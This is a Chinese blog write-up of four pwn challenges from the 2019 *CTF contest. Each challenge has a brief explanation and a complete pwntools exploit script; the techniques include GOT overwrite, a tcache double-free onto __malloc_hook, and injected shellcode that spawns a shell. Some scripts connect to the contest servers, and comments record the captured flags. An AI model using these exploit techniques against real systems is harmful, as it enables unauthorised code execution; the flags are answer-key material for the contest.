2019-*CTF-PWN
2019.05.19
V1NKe
 热度
℃
前言: 大概是最后几篇writeup了,整理完之后就专心搞浏览器了,今天整理下来发现自己做的,和待做的题都很多。感受到了这两年自己的锻炼还是有的。当然了,我不可能一直玩着ctf,该舍弃的还是得舍弃的,虽然确实很舍不得,舍不得比赛的一些有趣的事和人。还是得脱离这个舒适区去真实的锻炼自己的。那么现在也就差不多了。
正文: 就不细写了,粗略的写一下*CTF的题目,有一道细写了一下,那道题对我来说收获其实还蛮多的。
quicksort: 有一块任意写。
先把free@got
修改为main
,无限执行。
再泄漏出got
表上的地址。
修改malloc
为system
。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import * #p = process('./quicksort') p = remote('34.92.96.238',10000) elf = ELF('./quicksort') libc = ELF('./libc.so.6') context.log_level = 'debug' free_got = 0x804A018 main_addr = 0x8048816 stack_check_addr = 0x804A024 ret_addr = 0x080484ae malloc_addr = 0x804A028 p.recvuntil('how many numbers do you want to sort?\n') p.sendline('1') p.recvuntil('the 1th number:') payload = str(main_addr) + '\x00' payload += 'A'*(16-len(payload)) + p32(1) + p32(0)*2 payload += p32(free_got) p.sendline(payload) p.recvuntil('how many numbers do you want to sort?\n') p.sendline('3') p.recvuntil('the 1th number:') payload2 = str(ret_addr) + '\x00' payload2 += 'A'*(16-len(payload2)) + p32(3) + p32(2)*2 payload2 += p32(stack_check_addr-8) p.sendline(payload2) p.recvuntil('Here is the result:\n-') data = p.recv(9) data = int(data,10) getchar_addr = 0x100000000 - data libc_base = getchar_addr - libc.symbols['getchar'] system_addr = libc_base + libc.symbols['system'] bin_addr = libc_base + libc.search('/bin/sh').next() print hex(libc_base),hex(bin_addr) p.recvuntil('how many numbers do you want to sort?\n') p.sendline('1') p.recvuntil('the 1th number:') system_addr = 0x100000000 - system_addr payload3 = '-' + str(system_addr) + '\x00' payload3 += 'A'*(16-len(payload3)) + p32(1) + p32(0)*2 payload3 += p32(malloc_addr) p.sendline(payload3) p.recvuntil('how many numbers do you want to sort?\n') #gdb.attach(p) p.sendline('-'+str((0x100000000 - bin_addr)/4 - 1)) p.interactive() #*CTF{lSkR5u3LUh8qTbaCINgrjdJ74iE9WsDX}
girlfriend: 带tcache
的蛮简单一道题。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import * p = process('./chall') #p = remote('34.92.96.238',10001) elf = ELF('./chall') libc = ELF('./libc.so.6') context.log_level = 'debug' def add(size,name,call): p.recvuntil('choice:') p.sendline('1') p.recvuntil('name') p.sendline(str(size)) p.recvuntil('name:') p.send(name) p.recvuntil('call:') p.send(call) def show(idx): p.recvuntil('choice:') p.sendline('2') p.recvuntil('index:') p.sendline(str(idx)) def delete(idx): p.recvuntil('choice:') p.sendline('4') p.recvuntil('index:') p.sendline(str(idx)) for i in range(10): add(0x90,'A'*0x90,'A') for i in range(7): delete(i) delete(8) show(8) p.recvuntil('name:\n') data = u64(p.recv(6).ljust(8,'\x00')) libc_base = data - 4111520 system_addr = libc_base + libc.symbols['system'] malloc_addr = libc_base + libc.symbols['__malloc_hook'] print hex(libc_base)+','+hex(malloc_addr) add(0x90,'A'*0x90,'A') for i in range(10): add(0x60,'A'*0x60,'A') for i in range(7): delete(i+11) delete(18) delete(19) delete(18) for i in range(7): add(0x60,'A'*0x60,'A') add(0x60,p64(malloc_addr),'A') add(0x60,'A'*0x60,'A') add(0x60,'A'*0x60,'A') add(0x60,p64(system_addr),'A') gdb.attach(p) p.interactive()
babyshell: 调用syscall
用read
即可。简单的shellcode
编写:
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * #p = process('./shellcode') p = remote('34.92.37.22',10002) context.arch = 'amd64' context.os = 'Linux' p.recvuntil('give me shellcode, plz:\n') payload = asm(''' pop rdx pop rdx pop rdx pop rdx pop rdi pop rdi syscall ''' ) p.sendline(payload) payload2 = asm(shellcraft.sh()) #gdb.attach(p) p.sendline('A'*len(payload) + payload2) p.interactive() #*CTF{LtMh5VbedHlngmKOS2cwWRo4AkDGzCBy}
upxofcpp: 这里就用了一个upx加壳的特性,加壳之后有很大一块面积是可执行的。而且一些不加壳的保护也会被加壳改变。所以需要用加壳的elf去调试。
node结构体中存在指向函数调用的func_table
,通过构造使得func_table
指到堆,使得*func_table
的show函数指向堆上,在show函数指向的堆上构造shellcode。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import * p = process('./upx') #p = remote('34.92.121.149',10000) elf = ELF('./upx') libc = ELF('./libc-2.23.so') context.log_level = 'debug' def add(index,size,integer): p.sendlineafter('Your choice:','1') p.sendlineafter('Index:',str(index)) p.sendlineafter('Size:',str(size)) p.sendlineafter('integers, -1 to stop:',str(integer)) p.sendline('-1') def delete(index): p.sendlineafter('Your choice:','2') p.sendlineafter('vec index:',str(index)) def show(index): p.sendlineafter('Your choice:','4') p.sendlineafter('vec index:',str(index)) add(0,0x40/4,1) add(1,0x20/4,2) add(2,0x1000/4,3) delete(1) delete(0) delete(2) p.sendlineafter('Your choice:','1') p.sendlineafter('Index:',str(3)) p.sendlineafter('Size:',str(0x68/4)) payload = '-'+str(0x47b79796) p.sendlineafter('integers, -1 to stop:',payload) p.sendline(str(0x6e69622f)) p.sendline(str(0x732f2f2f)) p.sendline('-'+str(0x1876b7b0)) p.sendline(str(0x01697268)) p.sendline(str(0x24348101)) p.sendline(str(0x01010101)) p.sendline(str(0x6a56f631)) p.sendline(str(0x01485e08)) p.sendline('-'+str(0x76b7a91a)) p.sendline(str(0x6ad231e6)) p.sendline(str(0x050f583b)) p.sendline(str(1)) p.sendline(str(1)) p.sendline(str(1)) p.sendline(str(1)) p.sendline(str(1)) p.sendline(str(1)) p.sendline(str(1)) p.sendline(str(1)) p.sendline(str(1)) p.sendline(str(1)) p.sendline(str(1)) p.sendline(str(1)) p.sendline(str(40683)) p.sendline(str(-1)) #gdb.attach(p) show(1) p.interactive()